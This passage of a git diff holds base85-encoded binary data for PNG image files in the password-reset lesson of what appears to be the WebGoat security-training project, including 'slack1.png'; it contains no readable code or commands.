z$A!SpT8krLjX+xnY0wRZB}DnRM(zrR}-1 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 Hr-UW|pMNKe literal 0 HcmV?d00001 diff --git a/webgoat-lessons/password-reset/src/main/resources/images/slack1.png b/webgoat-lessons/password-reset/src/main/resources/images/slack1.png new file mode 100644 index 0000000000000000000000000000000000000000..34114af252786bce5fc55117f5e103d811bc014e GIT binary patch literal 24736 zcmeFYbx>SU_bu27AtY#U3y?Gcf(LgrlxA-kEwbM)VX#0-s0>d`|Q2e+Cg9C#4%7wPyqk{hNJ{Y5dc6c2LPUpzj}_i zqv=_Gh-h9KNQ;92Pk(>@K=NV`cV62`XgC4@Xt;m>o&l0lh!8hXoFrvMQPz-&(J)>D zS*oT0fOh~%&=+O5`GX}dC(>;%n!EJ3u69WStLCT&bNI7YfNPrG!tj3RTF%*4)k3CiAf!F-E!eZci(ufEHg{99kct9v}7AZ(D6xSOI#1Zd-|7 zRaI3l5ZwiwC|nXr{k;IZ>inP0|JOtC<1_l-LH^%1Ckp4>h$%Q3i#5BISsIn;Mw0n+ z-Zb;@5gqXE4N_~?`zbAr)5hjyRdl7+c`MGMC5?l#vmQ4rHRZthwyR4Pe|?7HA&VNm zRJkLw0`N9Z6LJm`;DrHTRzSv4Ov!|uijk%#YgN#oIOPfCB~k+m8hySn(IKOx`F#qL&1fjH8Q;R0K+g?ql zcut6{JP3BUd$`+ts%d(B^4nJsP>!bmn+Om;(Yc&gq@=fhh>Dj%R8FaLU}O6TjvIC@ zy|s?G;p6xnen$wrdw}v^oqc2J?tbP%7K*U2KlTPKuQYh#!%xEKCu0@uB+t963$tT_Rx{c%6u!@u9bUA?9j$N;+Y^oc9J*o=QByG%#xWE@ z!q)E}oLg*uG7;w~?n z8?v%kWdu~z0@cjR?+mW%{FjTJSQ*Gk&N-6OfF`luV90iLq}4lw+*y{?Nm!i~RE z*?XV|5!H$)?D{2J_skmmIK39$8}pj5kVr74OCl_03uQBFF%~M1ZSU;g-;WN5uu1oKGk?wIM~Z^u34rg=f9quUTmG*gbau z9ss67q#uKz1E+b3Ud-0QOl%%D@=uemS*Sy)LEnKnW`(86)GWxVO;rhe1o^LCK=xt5 zg9&(sV^R8FqLqRRhY~tJF<4gdahG;dyt+|?iNKkaQPSxwp-t>wG0rz6dJu(8?HbvF 